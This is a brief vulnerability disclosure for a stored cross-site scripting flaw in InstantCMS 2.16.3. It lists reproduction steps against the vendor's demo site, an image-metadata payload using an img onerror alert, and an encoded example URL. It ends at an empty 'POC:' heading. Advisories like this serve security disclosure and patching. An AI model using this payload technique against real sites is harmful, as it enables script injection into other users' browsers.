InstantCMS - Stored Cross Site Scripting (XSS) Affected Version: InstantCMS 2.16.3
Steps to Reproduce:
- Log in to https://demo.instantcms.io as an demo user.
- Visit https://demo.instantcms.io/photos/upload.
- Upload the image with the embedded payload test
<img src="asd" onerror="alert(1)">
in the Camera Model Name meta data filed. - Visit the https://demo.instantcms.io/photos/camera-{payload}
- Example: https://demo.instantcms.io/photos/camera-Amal_Test%3Cimg+src=%22asd%22+onerror=%22alert(1)%22%3E
- you will observe the immediate execution of the XSS payload.
POC: